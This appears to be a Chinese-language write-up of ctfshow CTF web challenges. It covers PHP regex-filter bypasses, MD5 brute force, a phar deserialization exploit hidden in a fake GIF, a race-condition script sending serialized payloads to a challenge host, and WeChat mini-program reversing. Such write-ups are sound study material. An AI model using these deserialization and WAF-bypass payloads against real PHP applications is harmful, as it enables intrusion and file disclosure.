ctfshow大吉大利杯Web题目Writeup
veryphp
考点:正则匹配、MD5爆破、调用类中方法
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
第一层正则过滤了大部分的符号以及个别字母,这个好像是Web入门题的trick,可以通过空格绕过,也可以自己试试有啥可以替换成下划线的
网站代码
<?php
var_dump($_POST);
?>
遍历脚本
import requests
url = "http://127.0.0.1/Web1.php"
for i in range(34,127):
s = chr(i)
data = {
"shaw" + S + "root" : "x"
}
res = requests.post(url=url,data=data)
if "shaw_root" not in res.text:
print s
第二层正则是需要满足的,因为我们要看hint变量的内容,通过正则网站匹配,最后获得字符串:-a9<b>zx>>>>>>>>>>>abcphp@Rs|
,在hint中可以获得SecretNumber的值
#coding: utf-8
import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
for c in dic:
for d in dic:
for g in dic:
t = "shaw"+ str(a)+str(b)+str(c)+str(d)+str(g) +"root"
md5 = hashlib.md5(t).hexdigest()
if md5 == '166b47a5cb1ca2431a0edfcef200684f':
print t
print md5
最后一步就是调用类中方法,这个入门题也是有考过
Payload:ans=21475&shaw root=-a9<b>zx>>>>>>>>>>>abcphp@Rs|&my ans=qwq::oao
spaceman
这题非预期了,就很突然,听说考点是反序列化的字符串逃逸,因为没有revenge就没去纠结了
虎山行and虎山行's revenge
考点:代码审计、Phar反序列化、条件竞争
打开后是一个达达CMS,感觉这么大的网站应该有源码,就www.zip试试,无果,去看了一下hint,竟然是www.rar,呜呜呜。
获得源码后,先用seay审计一下
找到这个是参数可控,可以目录穿梭的。尝试访问根目录下的flag,获得新路由ctfshowsecretfilehh,代码如下
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
有一个类,一看就是要触发的,但是后面处理的操作又没有反序列化,先读一下waf的内容,知道了过滤很多phar伪协议的操作,那这里就是要上传文件,然后通过phar协议进行反序列化。
去找上传点,在后台管理中找到了。(其实这里也可以根据上传点的url判断出考点,upload.php文件并不在mc-admin文件夹下,可见这个是后面自己加上去),只允许上传图片,先做个phar文件
<?php
class Ctfshow{
public $ctfer = 'shower';
}
$phar = new Phar("b.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','test');
$o = new Ctfshow();
$phar->setMetadata($o);
$phar->stopBuffering();
?>
把后缀名改成.gif
即可
接下来这步是yu师傅教的,因为waf把phar伪协议的组合拳过滤的很死,从官网中的glob协议也不行,最后yu师傅说可以用zlib:phar://这样绕过(yu22x yyds),但是我想去执行文件时发现不行,用第一层的方法读upload文件
$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
不给文件名,还用了md5加密,不过这个记得在纵横杯上见到过,用脚本上传即可。
获得新路由ctfshowgetflaghhhh,源码
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
简单的条件竞争
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import hashlib
import requests
import time
def MD5(str):
hl = hashlib.md5()
hl.update(str.encode())
return hl.hexdigest()
if __name__ == '__main__':
url = 'http://fa001af0-2492-46ff-8753-8a94e21c532d.chall.ctf.show/hsxctfshowsecretgetflagl/'
while True:
x = MD5(str(int(time.time())))
# print x
params = {
'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}'
}
res = requests.get(url=url,params=params)
#print res.url
然后访问/flag.txt即可
有手就行
考点:base64隐写、微信小程序逆向
打开后没有内容,查看源码发现有注释,是base64隐写,这里用的网站是https://tool.jisuapi.com/base642pic.html,是赵总!!!然后其实就去猜了,但是发现url修改文件名后还是会自动补上?file=scan,猜测要改的file参数,修改?file=flag获得另外一张图片(是二维码),扫描后是一个微信小程序。计算了一下,用鼠大师(Y4师傅推荐,好评)以0.001s点击,需要15个小时多才能完成,那就不用做其他题目了,赶紧换个办法。
这时候神光师傅发了一篇文章这里是关于微信小程序的逆向,这里就是跟着做一遍就可以获得flag了,因为是手机是ios,所以我这里用模拟器做的。
通过打开微信的小程序,这时候它会缓存至本地,然后使用RE文件管理器找到它的.wxapkg后缀名文件
,如下(其中很长一串数字+字母的内容是随机的)
接着将他们导出至电脑上
从github上下载逆向的相关工具(这里用的语言是nodejs),并装上依赖,切记依赖是放在工具文件夹下的
npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
npm install escodegen
执行对应命令即可
搜索flag